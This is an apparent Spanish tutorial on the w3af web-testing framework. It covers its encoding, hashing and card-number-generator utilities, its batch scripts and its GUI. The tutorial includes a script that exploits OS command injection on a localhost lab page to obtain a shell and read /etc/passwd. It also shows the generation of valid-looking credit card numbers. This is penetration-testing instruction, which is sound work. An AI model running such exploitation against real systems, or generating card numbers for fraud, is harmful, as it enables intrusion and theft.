TOOLS W3AF

W3AF contiene una serie de utilidades que apoyan el proceso de descubrimiento y explotación de vulnerabilidades, todas estas utilidades se encuentran ubicadas en <W3AF_DIR>/tools. Estas utilidades se detallan a continuación:

  • base64encode

    Se encarga de codificar un texto pasado como argumento a base 64.

./base64encode
w3af – base64 encoder
Options:
-h Print this help message.
-e String to be encoded.
Example: base64encode -e encodeMeNow

Su uso:

./base64encode -e mensaje

bWVuc2FqZQ==

  • base64decode
    Se encarga de decodificar un texto pasado como argumento a texto plano

    ./base64decode
    w3af – base64 decoder
    Options:
    -h Print this help message.
    -d String to be decoded.

    Su uso:

    ./base64decode -d bWVuc2FqZQ==

    mensaje

  • gencc
    Genera números validos de tarjetas de crédito

    ./gencc

    w3af – Credit Card Generator, original version: Graham King

    Options:

    -h Print this help message.

    -t Type of CC to generate:

    – mastercard

    – visa16

    – visa13

    – amex

    – discover

    – diners

    – enRoute

    – jcb15

    – jcb16

    – voyager

    Su Uso:
    ./gencc -t mastercard

    Generated Mastercard card:

    5222296660139382


    ./gencc -t visa16

    Generated VISA 16 digit card:

    4539349629141121

  • md5hash

    Genera hashes en formato MD5

    ./md5hash

    w3af – md5 hash calculator

    Options:

    -h Print this help message.

    -e String to be hashed.

    Example: md5hash -e makeHash
    Su uso:


    ./md5hash -e HASSHHHH MD5

    de49deb27d5f925bb46c37cb8e463f3b

  • sha1hash
    Genera hashes en formato SHA1

    ./sha1hash
    w3af – sha1 hash calculator
    Options:

    -h Print this help message.

    -e String to be hashed.

    Example: sha1hash -e makeHash
    Su uso:
    ./sha1hash -e SHA1HASH

    a893b8e6da1827bb7fa91c372c77ce44686d6a0a

  • urlencode

    Intenta decodificar una URL dada, frecuentemente utilizado para codificar URLs con caracteres en texto plano a formato ASCII

    ./urlencode
    w3af – urlencoder
    Options:

    -h Print this help message.

    -s Characters that should not be encoded, default is / .

    -e String to be encoded.

    Example: urlencode -s &% -e encodeMeNow

    Su uso:

    ./urlencode -e http://localhost/w3af

    http%3A%2F%2Flocalhost%2Fw3af

  • urldecode

    Intenta decodificar una URL dada, frecuentemente utilizado para decodificar URLs en formato ASCII a texto plano

    ./urldecode
    w3af – urldecoder
    Options:
    -h Print this help message.
    -d String to be decoded.
    Example: urldecode -d decodeMeNow

    ./urldecode -d http%3A%2F%2Flocalhost%2Fw3af

    http://localhost/w3af

SCRIPTS

Muchas de las acciones que se realizan en W3AF son de carácter rutinario, obligando al usuario ingresar una y otra vez las mismas instrucciones, por ejemplo, supongamos que un pentester debe ejecutar una serie de pruebas sobre un número determinado de aplicaciones web, para prueba de penetración debe utilizar exactamente la misma configuración que la anterior, cambiando únicamente el objetivo, lo que lo hace un trabajo bastante rutinario y poco eficiente, este puede ser un caso en el que utilizando Scripts podemos optimizar el trabajo a la hora de ejecutar pruebas de penetración, los Scripts son ficheros planos con extensión .w3af y consisten básicamente una serie de comandos (uno por cada linea del fichero) que indica a W3AF las acciones que deben realizarse, dichos comandos corresponden a los comandos estándar del framework y no permite ningún tipo de lógica computacional, lo que quiere decir que no es posible ingresar instrucciones condicionales o cualquier tipo de instrucción programática, un ejemplo simple seria:

# Ejecución de prueba de penetración utilizando osCommanding.

plugins output console,textFile

plugins

output config textFile

set fileName output-w3af.txt

set verbose True

back

plugins output config console

set verbose False

back

back

plugins audit osCommanding

target set target http://localhost/w3af/audit/os_commanding/simple_osc.php?cmd=fas

start

exploit exploit osCommandingShell

exploit interact 0

execute ls

e w

read /etc/passwd

En el Script anterior se ejecuta una prueba completa utilizando el plugin osCommanding que espera en cualquier caso, capturar al menos una shell y navegar hacia ella, si por alguna razón, no se consigue dicha shell las instrucciones siguientes a la explotación del plugin de ataque osCommandingShell darán error, como puede verse, también es necesario que en el transcurso de la ejecución de cada comando, se establezca adecuadamente el contexto de ejecución, por esta razón en algunos casos es necesario utilizar el comando back, para volver al contexto de ejecución anterior.

Ahora, para que W3AF utilice este sencillo script solamente es necesario indicar el fichero a la opción “-i” del comando w3af_console:

./w3af_console -i /home/adastra/script.w3af

De esta forma, W3AF iniciará la ejecución de todas y cada una de las instrucciones indicadas en el script.

GUI W3AF

Se trata de una herramienta gráfica, que permite establecer todos los comandos que se ingresan por consola de forma visual, donde se pueden editar/crear perfiles, seleccionar plugins, el objetivo, configuraciones globales y del protocolo HTTP, entre muchas otras, su uso es muy intuitivo, así que con conocer los conceptos básicos de W3AF y su funcionamiento, será suficiente para poder utilizar esta consola gráfica sin problemas, no obstante, probablemente resulta mucho mas cómodo el uso de la consola para algunas personas, es simplemente cuestión de gustos.

Conclusión

Finalmente, después de unos cuantos meses de investigación, de leer y entender el código fuente del proyecto, he establecido una postura que, sin intención de disuadir ni de influir sobre otros, la intentaré exponer de la forma más objetiva posible.

Aunque es verdad que se trata de una herramienta con un enfoque sumamente interesante, aun se encuentra en un estado de desarrollo/estabilización, por lo tanto en algunos casos algunas funcionalidades no funcionan como se espera, lo que en algunas ocasiones dificulta su uso y conseguir resultados sólidos y/o fiables, no obstante no desaconsejaría su uso, por el contrario, lo apoyaría e impulsaría, de hecho me encuentro interesando en participar activamente en el desarrollo del proyecto, dado que mis habilidades en desarrollo con Python han mejorado bastante en los últimos meses y mi interés se debe principalmente a que es una herramienta bastante completa a la hora de recolectar información sobre un objetivo determinado, ademas de que las potencialidades que aportan los plugins incluidos en esta la hacen muy atractiva para efectuar pruebas de penetración contra aplicaciones web, tal como comenta su autor, W3AF NO es una herramienta de “one click hacking”, de hecho NO es una herramienta de hacking, sin embargo, como ya he mencionado puede ser muy útil para recolectar información sobre un objetivo determinado, ademas la integración con MetaSploit Framework es bastante llamativa permitiendo “llevar” a metasploit al contexto de aplicaciones web.
Por ultimo, creo que hace falta gente que apoye el proyecto se necesitan desarrolladores que contribuyan con el progreso de esta estupenda herramienta, recuerda que la mejor forma de agradecer a alguien por un trabajo bien hecho, es ayudarle a mejorarlo!